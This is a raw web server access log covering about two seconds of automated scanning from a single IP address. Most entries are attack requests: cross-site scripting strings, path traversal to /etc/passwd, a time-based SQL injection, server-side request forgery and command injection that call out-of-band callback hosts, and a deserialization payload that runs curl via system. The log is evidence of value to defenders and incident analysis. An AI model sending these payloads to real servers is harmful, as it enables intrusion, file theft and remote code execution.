[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/my-calendar/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/totp/user-backup-code/../../system/system-information HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /friends/ajax_invite?mode=model%27)%3balert(document.domain)%2f%2f;' HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /RealGimmWeb/Pages/ErroreNonGestito.aspx HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /search?filtered=1&q=test&filter[price]=100-1331\"><script>alert(document.cookie)</script>&filter[attr][Memory][]=16+GB HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/4 HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /editor_tools/rte_image_editor?types=%27;});alert(document.domain);$(picker).on(%27Noodles%27,%20function(result)%20{%20var%20XSS=%27 HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /3/ImportFiles?path=%2Fetc%2Fpasswd HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/cors/http:%2f%2fnextchat.d5g6sfahausljekepl20ryjrjbwbaz78f.oast.site%23 HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /Citrix/teststoreAuth/SamlTest HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /users/test%22%3E%3Cimg%20src=a%20onerror=alert(document.domain)%3Etest HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //libs/bower/bower_components/yui2/sandbox/treeview/removechildren.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /goanywhere/images/..;/wizard/InitialAccountSetup.xhtml HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php?action=eventon_get_virtual_users HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /file-manager/backend/makefile HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CFIDE/wizards/common/utils.cfc?method=wizardHash%20inPassword=bar%20_cfclient=true HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /system/modules/alkacon.mercury.template.jsondemo/elements/jsonapi.jsp?content&fallbackLocale&locale=en&rows=1&uri=http://interact.sh HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /user_info%22%3E%3Cimg+src=a+onerror=alert%28document.domain%29%3Eridxm/index/friends HTTP/1.1" 199
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/file/formimage HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/wordpress-toolbar/toolbar.php?wptbto=https://oast.me&wptbhash=acme HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?rest_route=%2Fessential-blocks%2Fv1%2Fproducts&is_frontend=true&attributes={\"__file\":\"/etc%2fpasswd\"} HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/user-meta/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /classes/common/busiFacade.php HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/backup-backup/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /log_proxy?url=http://d5g6sfahausljekepl20km9eiayfphsaz.oast.site HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /moveitisapi/moveitisapi.dll?action=m2 HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-json/wp/v2/sfwd-assignment HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-json/lp/v1/load_content_via_ajax/?callback={\"class\"%3a\"LP_Debug\",\"method\"%3a\"var_dump\"}&args=\"380Cy3pCrJ2E5DqITaMehtxGmJL\" HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /app/rest/users/id:1/tokens/RPC2 HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /config HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wms HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-ajax.php HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-json/ldlms/v1/sfwd-quiz HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.hsp?m=',alert(document.domain),' HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /hax/..CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /assets/php/upload.php HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /app/sys1.php HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /file=http://oast.pro HTTP/1.1" 199
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?rest_route=/h5vp/v1/view/1&id=1'+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+- HTTP/1.1" 3426
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-json/wp/v2/sfwd-question HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /api/users HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "DELETE /api/2.0/mlflow-artifacts/artifacts/%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252F%252E%252E%252Fetc%252fpasswd HTTP/1.1" 223
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?travelpayouts_redirect=https://oast.me HTTP/1.1" 3426
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /access/set?param=enableapi&value=1 HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-json/post-smtp/v1/connect-app HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PATCH /mgmt/tm/auth/user/DtJRO HTTP/1.1" 222
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /render/info.html HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20d5g6sfahausljekepl20ps1ijuzcay6xy.oast.site HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /partymgr/control/getJSONuiLabel HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //list-editor/index.html?reloaded&page=3\">%3Cscript%3Ealert(document.domain)%3c%2fscript%3E HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /dana-ws/saml20.ws HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-json/notificationx/v1/analytics HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?p=1 HTTP/1.1" 3426
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login?next=https://trade.kingston.com.hk:443 HTTP/1.1" 196
[09/Jan/2026:10:51:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /SetupWizard.aspx/AlrjWHtaaC HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /static/../../../../etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/backups-dup-pro/tmp/ HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //WLC0ney2%22%3E%3Cimg%20src=a%20onerror=alert%28document.domain%29%3E/..CFIDE/wizards/common/_authenticatewizarduser.cfm HTTP/1.1" 199
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cgi-bin/quick/3XG9Sd HTTP/1.1" 199
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /Admin/login.php HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/media-library-assistant/includes/mla-stream-image.php?mla_stream_file=ftp://d5g6sfahausljekepl20kmk5ac48xoktu.oast.site/patrowl.svg HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /checker/login.php HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/videoconfiguration.cgi HTTP/1.1" 199
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /images/../../../../../../../../etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /furniture/catalog/all-products?cat=1&bhl4n%2522%253e%253cScRiPt%253ealert%2528'document_domain'%2529%253c%252fScRiPt%253eiyehb=1 HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/base64-encoderdecoder/base64-decode.php?string=PHNjcmlwdD5hbGVydCgiZG9jdW1lbnQuZG9tYWluIik8L3NjcmlwdD4= HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?id=50&file=../../../../../../../../../etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login.cgi HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /dana-na/auth/saml-sso.cgi HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /access.log HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/user-meta/views/debug.php HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /php/ping.php HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CFIDE/wizards/common/utils.cfc?method=wizardHash%20inPassword=bar%20_cfclient=true HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/ HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Admin/Admin.aspx HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/cstecgi.cgi HTTP/1.1" 199
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /hax?jsp=/app/rest/server;.jsp HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.rst HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.rst HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /file-manager/backend/text HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /app HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login.php?a=get_upload_list&c=Uploadimgnew&info=eyJudW0iOiIxXCI%2BPFNjUmlQdCA%2BYWxlcnQoZG9jdW1lbnQuZG9tYWluKTwvU2NSaVB0PiIsInNpemUiOiIyMDk3MTUyIiwiaW5wdXQiOiIiLCJmdW5jIjoiaGVhZF9waWNfY2FsbF9iYWNrIiwicGF0aCI6ImFsbGltZyIsImlzX3dhdGVyIjoiMSIsImFsZyI6IkhTMjU2In0&lang=cn&m=admin&unneed_syn HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /3/ParseSetup HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /feed/ HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /search?filter[brandid]=vnxjb\"><script>alert(document.cookie)</script>bvu51 HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/LayerSlider/assets/static/public/front.css HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/uploads/fusion-forms/ HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webeditor/../../../windows/win.ini HTTP/1.1" 226
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /res/../admin/diagnostic.jsp HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /API/V1/credentials HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/essential-blocks/readme.txt HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /faqs%22%3E%3Cimg+src=a+onerror=alert%28document.domain%29%3Eridxm/index?content_search=\"><img+src=a+onerror=alert(document.domain)>ridxm HTTP/1.1" 199
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/v1/database/5 HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/login HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?p=1 HTTP/1.1" 3426
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /RemoteApplicationMetadata.rem?wsdl HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /.well-known/acme-challenge/%3C%3fxml%20version=%221.0%22%3f%3E%3Cx:script%20xmlns:x=%22http://www.w3.org/1999/xhtml%22%3Ealert%28document.domain%26%23x29%3B%3C/x:script%3E HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /decisioncenter-api/v1/about?datasource=ldap://d5g6sfahausljekepl20gq5w1t1er83jm.oast.site HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /en/products?query=123 HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-content/plugins/wp-automatic/inc/csv.php HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /shindig/gadgets/proxy?container=default&url=http://oast.pro HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /Startup/Register HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /process/login.php HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pictureproxy.php?url=file:///etc/passwd HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-json/lp/v1/load_content_via_ajax/?callback={%22class%22:%22LP_Helper%22,%22method%22:%22maybe_unserialize%22}&args=\"O%3a13%3a\\u0022WP_HTML_Token\\u0022%3a2%3a{s%3a13%3a\\u0022bookmark_name\\u0022%3bs%3a64%3a\\u0022curl+d5g6sfahausljekepl201stmm5jbqmz7f.oast.site/?htxGmJL380Cy3pCrJ2E5DqITaMehtxGmJL380Cy\\u0022%3bs%3a10%3a\\u0022on_destroy\\u0022%3bs%3a6%3a\\u0022system\\u0022%3b}\" HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /filex/read-raw?url=http://oast.me&cut=1 HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dashboard.html HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.rst HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /gremlin HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/api.php/%3Cscript%3Ealert%28document.domain%29%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /wp-admin/admin-post.php HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/ad-widget/views/modal/?step=../../../../../../../etc/passwd%00 HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?p=3232&wp_automatic=download&link=file:///etc/passwd HTTP/1.1" 3426
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/admin.cgi?Command=sysCommand&Cmd=ifconfig HTTP/1.1" 199
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /app/rest/users/id:1/tokens/380CxxpoLfPUZhtGLGEL2lCP4SF;.jsp?jsp_precompile=true HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /device/config HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //libs/bower/bower_components/yui2/sandbox/treeview/removeall.php?mode=1%27%22()%26%25%3Czzz%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1" 199
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.rst HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mailinspector/login.php HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wizard/database/ HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/jscript?LD_DEBUG=help HTTP/1.1" 199
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /owncloud/apps/graphapi/vendor/microsoft/microsoft-graph/tests/GetPhpInfo.php/C4mr.css HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.php?mid=0&usr=test%27%20draggable=true%20ondrag=alert(document.domain)%20value=%27p HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /welcome.action HTTP/1.1" 196
[09/Jan/2026:10:51:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /ajax-api/2.0/mlflow/model-versions/create HTTP/1.1" 196
